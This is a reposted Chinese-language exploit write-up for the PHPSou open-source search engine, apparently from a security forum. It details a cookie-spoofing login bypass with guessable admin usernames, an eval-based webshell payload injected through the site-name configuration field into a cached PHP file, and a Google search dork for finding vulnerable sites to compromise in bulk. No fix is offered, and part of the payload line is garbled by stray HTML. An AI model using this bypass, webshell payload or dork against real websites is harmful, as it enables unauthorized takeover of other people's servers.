PHPSou开源搜索系统0Day

admin 2021年4月3日20:06:21评论122 views字数 287阅读0分57秒阅读模式

转自互联网:http://www.baidu.com/s?wd=PHPSou%BF%AA%D4%B4%CB%D1%CB%F7%CF%B5%CD%B30Day

1 漏洞描述

PHPSou是一套开源搜索引擎系统,官方论坛为:www.phpsou.net,简单介绍如下:PHPSou垂直搜索引擎采用PHP+Mysql开发,是国内首款基于开源底层脚本语言开发的搜索引擎系统。我们在审核phpsou代码的时候,发现该系统存在非常危险的安全漏洞,利用者可以伪造信息登录后台并通过后台获取webshell。

cookies欺骗漏洞

/admin/index.php 等文件均包含验证文件


                require "global.php";
        ?>


        Global.php代码如下:


                if($_COOKIE["adminname"]=="")
        {
            header("location:login.php");
        }
        require ("../global.php");
        require ("global_function.php");
        $admin=$db->get_one("select * from ve123_admin where admin_id='1'");
        if($_COOKIE["adminname"]$admin["adminname"]){header("location:login.php");die();}
        $comurl=$_SERVER['HTTP_REFERER'];
        ?>


      后台仅用cookies做验证,adminname的值取数据中admin_id=1的管理员的用户名,如果验证通过,那么就可以成功利用cookies欺骗登录后台

PHPSou开源搜索系统0Day

      如果要通过cookies欺骗登录对方后台,我们仅仅需要知道对方的用户名即可,常用的用户名有:guigou,admin,$domain$(对方域名)等。

缓存文件写入shell漏洞

后台修改配置文件/admin/site_config.php

……略去部分代码


$fp=@fopen("../cache/site_config.php","w") or die("写方式打开文件失败,请检查程序目录是否为可写");//配置conn.php文件
@fputs($fp,$str) or die("文件写入失败,请检查程序目录是否为可写");
@fclose($fp);

后台的配置会写入到上级cache目录下的site_config.php,该文件内容如下:

$config['name']="PHP开源搜索";
$config['user_agent']="PhpSou";

由于系统过滤双引号,导致我们无法直接写入webshell,但是我们可以利用php的{}属性来功构造一个webshell。

首先通过cookies欺骗进入对方后台,然后在网站配置处修改“网站名称”如下:

PHP开源搜索POST[cmd" data-ke-src="mailto:${${@eval($_POST[cmd">${${@eval($_POST[cmd]}}

写入成功后,www.target.com/cache/site_config.php内容即插入一句话木马

$config['name']="PHP开源搜索${${eval($_POST[cmd])}}";

使用一句话木马客户端连接,即可获得网站权限。

3   批量获取权限谷歌构造关键词搜索

inurl:search/url_submit.php

说明:该漏洞存在与PhpSou_GBK1.0-1.1版,其他版本请自行测试,后台还有其他方法可以获取webshell,请自行测试。

文章来源于lcx.cc:PHPSou开源搜索系统0Day

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:06:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPSou开源搜索系统0Dayhttps://cn-sec.com/archives/325477.html

发表评论

匿名网友 填写信息